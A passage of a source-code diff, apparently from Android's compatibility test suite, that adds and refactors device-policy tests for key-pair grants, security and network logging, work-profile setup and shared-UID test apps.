+ CustomEvent event = eventLogs.poll();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void next_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.next();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void pollOrFail_hasEvent_returnsEvent() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
+ public void pollOrFail_noEvent_throwsException() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+ }
+
+ @Test
+ public void pollOrFail_loggedAfter_returnsEvent() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+ // as we're blocking for the event in this method
+ new Handler(Looper.getMainLooper()).postDelayed(() ->
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log(),
+ ONE_SECOND_DELAY_MILLIS);
+
+ assertThat(eventLogs.pollOrFail()).isNotNull();
+ }
+
private void scheduleCustomEventInOneSecond() {
hasScheduledEvents = true;
new Handler(Looper.getMainLooper()).postDelayed(() ->
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
index a686450..404c2dd 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
@@ -108,6 +108,8 @@
private Statement applyTest(final Statement base, final Description description) {
return new Statement() {
@Override public void evaluate() throws Throwable {
+ Log.d("DeviceState", "Preparing state for test " + description.getMethodName());
+
assumeFalse(mSkipTestsReason, mSkipTests);
if (description.getAnnotation(RequireRunOnPrimaryUser.class) != null) {
@@ -157,13 +159,17 @@
}
}
+ Log.d("DeviceState", "Finished preparing state for test " + description.getMethodName());
+
try {
base.evaluate();
} finally {
+ Log.d("DeviceState", "Tearing down state for test " + description.getMethodName());
teardownNonShareableState();
if (!mSkipTestTeardown) {
teardownShareableState();
}
+ Log.d("DeviceState", "Finished tearing down state for test " + description.getMethodName());
}
}};
}
@@ -371,13 +377,15 @@
final String type;
final int parent;
final boolean isPrimary;
+ final boolean removing;
final Set<String> flags;
- UserInfo(int id, String type, int parent, boolean isPrimary, Set<String> flags) {
+ UserInfo(int id, String type, int parent, boolean isPrimary, boolean removing, Set<String> flags) {
this.id = id;
this.type = type;
this.parent = parent;
this.isPrimary = isPrimary;
+ this.removing = removing;
this.flags = flags;
}
@@ -392,7 +400,13 @@
private static final Pattern USERS_PARENT_PATTERN = Pattern.compile("parentId=(\\d+)");
private static final Pattern USERS_FLAGS_PATTERN = Pattern.compile("Flags: \\d+ \\((.*)\\)");
+
private Set<UserInfo> listUsers() {
+ return listUsers(/* includeRemoving= */ false);
+ }
+
+
+ private Set<UserInfo> listUsers(boolean includeRemoving) {
String command = "dumpsys user";
String commandOutput = runCommandWithOutput(command);
@@ -437,12 +451,17 @@
if (!userFlagsMatcher.find()) {
throw new IllegalStateException("Bad dumpsys user output: " + commandOutput);
}
+ boolean removing = userString.contains("<removing>");
+
Set<String> flagNames = new HashSet<>();
for (String flag : userFlagsMatcher.group(1).split("\\|")) {
flagNames.add(flag);
}
- listUsers.add(new UserInfo(userId, userType, userParent, isPrimary, flagNames));
+ if (!removing || includeRemoving) {
+ listUsers.add(
+ new UserInfo(userId, userType, userParent, isPrimary, removing, flagNames));
+ }
}
return listUsers;
@@ -455,11 +474,15 @@
if (getWorkProfileId(forUser) == null) {
createWorkProfile(resolveUserTypeToUserId(forUser));
}
+ int workProfileId = getWorkProfileId(forUser);
+
+ // TODO(scottjonathan): Can make this quicker by checking if we're already running
+ runCommandWithOutput("am start-user -w " + workProfileId);
if (installTestApp) {
- installInProfile(getWorkProfileId(forUser),
+ installInProfile(workProfileId,
sInstrumentation.getContext().getPackageName());
} else {
- uninstallFromProfile(getWorkProfileId(forUser),
+ uninstallFromProfile(workProfileId,
sInstrumentation.getContext().getPackageName());
}
}
@@ -551,7 +574,6 @@
runCommandWithOutput(
"pm create-user --profileOf " + parentUserId + " --managed work");
final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
- runCommandWithOutput("am start-user -w " + profileId);
createdUserIds.add(profileId);
}
@@ -589,13 +611,17 @@
InputStream inputStream = new FileInputStream(p.getFileDescriptor());
try (Scanner scanner = new Scanner(inputStream, UTF_8.name())) {
- return scanner.useDelimiter("\\A").next();
+ String s = scanner.useDelimiter("\\A").next();
+ Log.d("DeviceState", "Running command " + command + " got output: " + s);
+ return s;
} catch (NoSuchElementException e) {
+ Log.d("DeviceState", "Running command " + command + " with no output", e);
return "";
}
}
private ParcelFileDescriptor runCommand(String command) {
+ Log.d("DeviceState", "Running command " + command);
return getAutomation()
.executeShellCommand(command);
}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
index 4dbb884..51fac70 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
@@ -19,6 +19,8 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static java.util.Collections.singleton;
+
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -55,6 +57,9 @@
* When this class is done then the DelegatedCertInstallerTest can be deleted.
*/
public class DirectDelegatedCertInstallerTest extends InstrumentationTestCase {
+ private static final String TEST_ALIAS = "DirectDelegatedCertInstallerTest-keypair";
+ private static final String NON_EXISTENT_ALIAS = "DirectDelegatedCertInstallerTest-nonexistent";
+
// Content from cacert.pem
private static final String TEST_CA =
"-----BEGIN CERTIFICATE-----\n" +
@@ -130,6 +135,7 @@
@Override
public void tearDown() throws Exception {
mDpm.uninstallCaCert(null, TEST_CA.getBytes());
+ mDpm.removeKeyPair(null, TEST_ALIAS);
super.tearDown();
}
@@ -226,30 +232,39 @@
}
public void testHasKeyPair_NonExistent() {
- assertThat(mDpm.hasKeyPair("NobodyWouldCallAKeyLikeThat")).isFalse();
+ assertThat(mDpm.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
}
- public void testHasKeyPair_Installed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9000";
+ public void testHasKeyPair_Installed() {
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
- mDpm.installKeyPair(
- null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
-
- try {
- assertThat(mDpm.hasKeyPair(alias)).isTrue();
- } finally {
- mDpm.removeKeyPair(null, alias);
- }
+ assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isTrue();
}
- public void testHasKeyPair_Removed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9001";
+ public void testHasKeyPair_Removed() {
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
+ mDpm.removeKeyPair(null, TEST_ALIAS);
- mDpm.installKeyPair(
- null, mTestPrivateKey, new Certificate[]{mTestCertificate}, alias, true);
- mDpm.removeKeyPair(null, alias);
+ assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isFalse();
+ }
- assertThat(mDpm.hasKeyPair(alias)).isFalse();
+ public void testGetKeyPairGrants_Empty() {
+ // Not granting upon install.
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ false);
+
+ assertThat(mDpm.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_NonEmpty() {
+ // Granting upon install.
+ mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+ /* requestAccess= */ true);
+
+ assertThat(mDpm.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getContext().getPackageName())));
}
private PrivateKey rsaKeyFromString(String key) throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index ae4134d..0b47c89 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,6 +25,10 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -45,6 +49,8 @@
import com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+import com.google.common.collect.Sets;
+
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -75,6 +81,13 @@
public class KeyManagementTest extends BaseDeviceAdminTest {
private static final long KEYCHAIN_TIMEOUT_MINS = 6;
+
+ private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+ private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+
+ private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
+ private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
+
private PrivateKey mFakePrivKey;
private Certificate mFakeCert;
@@ -117,6 +130,7 @@
@Override
public void tearDown() throws Exception {
mActivity.finish();
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
super.tearDown();
}
@@ -801,30 +815,82 @@
}
public void testHasKeyPair_NonExistent() {
- assertThat(mDevicePolicyManager.hasKeyPair("no-such-key-for-sure")).isFalse();
+ assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
}
- public void testHasKeyPair_Installed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9000";
-
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
+ public void testHasKeyPair_Installed() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
try {
- assertThat(mDevicePolicyManager.hasKeyPair(alias)).isTrue();
+ assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
} finally {
- mDevicePolicyManager.removeKeyPair(getWho(), alias);
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
}
}
- public void testHasKeyPair_Removed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9001";
+ public void testHasKeyPair_Removed() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
- mDevicePolicyManager.removeKeyPair(getWho(), alias);
+ assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
+ }
- assertThat(mDevicePolicyManager.hasKeyPair(alias)).isFalse();
+ public void testGetKeyPairGrants_NonExistent() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
+ }
+
+ public void testGetKeyPairGrants_NotGranted() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_GrantedAtInstall() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getWho().getPackageName())));
+ }
+
+ public void testGetKeyPairGrants_GrantedExplicitly() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getWho().getPackageName())));
+ }
+
+ public void testGetKeyPairGrants_Revoked() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_SharedUid() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+ }
+
+ public void testGetKeyPairGrants_DifferentUids() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEqualTo(Sets.newHashSet(
+ Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG),
+ singleton(getWho().getPackageName())));
}
private void assertGranted(String alias, boolean expected)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 0d7661c..b59b942 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -97,6 +97,8 @@
private static final String ARG_BATCH_NUMBER = "batchNumber";
private static final String PREF_KEY_PREFIX = "batch-last-id-";
private static final String PREF_NAME = "batchIds";
+ // system/core/liblog/event.logtags: 1006 liblog (dropped|1)
+ private static final int TAG_LIBLOG_DROPPED = 1006;
// For brevity.
private static final Class<String> S = String.class;
@@ -407,6 +409,11 @@
for (int i = 0; i < events.size(); i++) {
final SecurityEvent event = events.get(i);
+ // Skip liblog dropped event.
+ if (event.getTag() == TAG_LIBLOG_DROPPED) {
+ continue;
+ }
+
verifyPayloadTypes(event);
// Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 984444d..5b3e9e6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -16,12 +16,14 @@
package com.android.cts.deviceowner;
import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
import android.os.UserHandle;
import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
@@ -43,6 +45,7 @@
protected int[] getSafetyAwareOperations() {
return new int [] {
OPERATION_CREATE_AND_MANAGE_USER,
+ OPERATION_REBOOT,
OPERATION_REMOVE_USER,
OPERATION_START_USER_IN_BACKGROUND,
OPERATION_STOP_USER,
@@ -50,23 +53,27 @@
}
@Override
- protected void runOperation(DevicePolicyManager dpm, int operation, boolean overloaded) {
+ protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+ boolean overloaded) {
switch (operation) {
case OPERATION_CREATE_AND_MANAGE_USER:
- dpm.createAndManageUser(/* admin= */ getWho(), /* name= */ null,
- /* profileOwner= */ getWho(), /* adminExtras= */ null, NO_FLAGS);
+ dpm.createAndManageUser(admin, /* name= */ null, admin, /* adminExtras= */ null,
+ NO_FLAGS);
+ break;
+ case OPERATION_REBOOT:
+ dpm.reboot(admin);
break;
case OPERATION_REMOVE_USER:
- dpm.removeUser(getWho(), USER_HANDLE);
+ dpm.removeUser(admin, USER_HANDLE);
break;
case OPERATION_START_USER_IN_BACKGROUND:
- dpm.startUserInBackground(getWho(), USER_HANDLE);
+ dpm.startUserInBackground(admin, USER_HANDLE);
break;
case OPERATION_STOP_USER:
- dpm.stopUser(getWho(), USER_HANDLE);
+ dpm.stopUser(admin, USER_HANDLE);
break;
case OPERATION_SWITCH_USER:
- dpm.switchUser(getWho(), USER_HANDLE);
+ dpm.switchUser(admin, USER_HANDLE);
break;
default:
throwUnsupportedOperationException(operation, overloaded);
@@ -78,6 +85,6 @@
* Tests that all safety-aware operations are properly implemented.
*/
public void testAllOperations() {
- mTester.testAllOperations(mDevicePolicyManager);
+ mTester.testAllOperations(mDevicePolicyManager, getWho());
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e8f35f2..1856d2c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -172,9 +172,9 @@
}
// generate enough traffic to fill the batches.
- int testReqNo = 0;
+ int fakeReqNo = 0;
for (int i = 0; i < mBatchesRequested; i++) {
- testReqNo += generateTestTraffic();
+ fakeReqNo += generateFakeTraffic();
}
// if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
@@ -190,11 +190,11 @@
// Verify network logs.
assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
- // For each of the real URLs we have two events: one DNS and one connect. Test requests
+ // For each of the real URLs we have two events: one DNS and one connect. Fake requests
// don't require DNS queries.
final int eventsExpected =
Math.min(FULL_LOG_BATCH_SIZE * mBatchesRequested,
- 2 * LOGGED_URLS_LIST.length + testReqNo);
+ 2 * LOGGED_URLS_LIST.length + fakeReqNo);
verifyNetworkLogs(mNetworkEvents, eventsExpected);
}
@@ -340,11 +340,11 @@
}
/** Quickly generate loads of events by repeatedly connecting to a local server. */
- private int generateTestTraffic() throws IOException, InterruptedException {
+ private int generateFakeTraffic() throws IOException, InterruptedException {
final ServerSocket serverSocket = new ServerSocket(0);
- final Thread serverThread = startTestServer(serverSocket);
+ final Thread serverThread = startFakeServer(serverSocket);
- final int reqNo = makeTestRequests(serverSocket.getLocalPort());
+ final int reqNo = makeFakeRequests(serverSocket.getLocalPort());
serverSocket.close();
serverThread.join();
@@ -352,11 +352,11 @@
return reqNo;
}
- private int makeTestRequests(int port) {
+ private int makeFakeRequests(int port) {
int reqNo;
- final String TEST_SERVER = "127.0.0.1:" + port;
+ final String FAKE_SERVER = "127.0.0.1:" + port;
for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
- connectToWebsite(TEST_SERVER);
+ connectToWebsite(FAKE_SERVER);
try {
// Just to prevent choking the server.
Thread.sleep(10);
@@ -367,7 +367,7 @@
return reqNo;
}
- private Thread startTestServer(ServerSocket serverSocket) throws InterruptedException {
+ private Thread startFakeServer(ServerSocket serverSocket) throws InterruptedException {
final Thread serverThread = new Thread(() -> {
while (!serverSocket.isClosed()) {
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index 27f4d46..c0b0eab 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -28,7 +28,7 @@
import static org.testng.Assert.assertThrows;
public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
- private static final String TEST_PRIVATE_DNS_HOST = "resolver.example.com";
+ private static final String FAKE_PRIVATE_DNS_HOST = "resolver.example.com";
private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
private UserManager mUserManager;
@@ -130,7 +130,7 @@
// This host does not resolve, so would output an error.
callSetGlobalPrivateDnsHostModeExpectingResult(
- TEST_PRIVATE_DNS_HOST,
+ FAKE_PRIVATE_DNS_HOST,
DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index 5ca2c67..7b7a818 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -26,7 +26,7 @@
FakeComponent.class.getPackage().getName(), FakeComponent.class.getName());
public void testSetAndGetRequiredPasswordComplexity_onParent() {
- if (!mHasSecureLockScreen) {
+ if (!mHasSecureLockScreen) {
return;
}
@@ -106,7 +106,7 @@
assertThat(actualMaximumPasswordLength).isGreaterThan(0);
}
- public void testIsActivePasswordSufficient_onParent_isSupported() {
+ public void testIsActivePasswordSufficient_onParent_setOnParent_isSupported() {
try {
mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -115,7 +115,7 @@
}
}
- public void testIsActivePasswordSufficient_onParent_appliesComplexity() {
+ public void testIsActivePasswordSufficient_onParent_setOnProfile_isSupported() {
try {
mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -125,7 +125,7 @@
}
public void testSetPasswordQuality_onParent_isNotSupported() {
- assertThrows(IllegalArgumentException.class,
+ assertThrows(SecurityException.class,
() -> setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX));
}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
index c8b6d26..8492fcc 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -31,6 +31,6 @@
* Tests that all safety-aware operations are properly implemented.
*/
public void testAllOperations() {
- mTester.testAllOperations(mDevicePolicyManager);
+ mTester.testAllOperations(mDevicePolicyManager, getWho());
}
}
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index f6bbbcc..3d02d89 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -115,3 +115,27 @@
],
manifest: "testapp4/AndroidManifest.xml",
}
+
+android_test_helper_app {
+ name: "SharedUidApp1",
+ defaults: ["cts_defaults"],
+ //srcs: ["share/src/**/*.java"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+ manifest: "shareduidapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "SharedUidApp2",
+ defaults: ["cts_defaults"],
+ //srcs: ["share/src/**/*.java"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+ manifest: "shareduidapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
new file mode 100644
index 0000000..141c8af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<!--
+ ~ A test app used for when you need to install test packages that have a functioning package name
+ ~ and UID. For example, you could use it to set permissions or app-ops.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.testapps.shareduidapp1"
+ android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+ <application android:testOnly="true">
+ <activity android:name="android.app.Activity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
new file mode 100644
index 0000000..c978c86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<!--
+ ~ A test app used for when you need to install test packages that have a functioning package name
+ ~ and UID. For example, you could use it to set permissions or app-ops.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.testapps.shareduidapp2"
+ android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+ <application android:testOnly="true">
+ <activity android:name="android.app.Activity"
+ android:exported="true">
+ </activity>
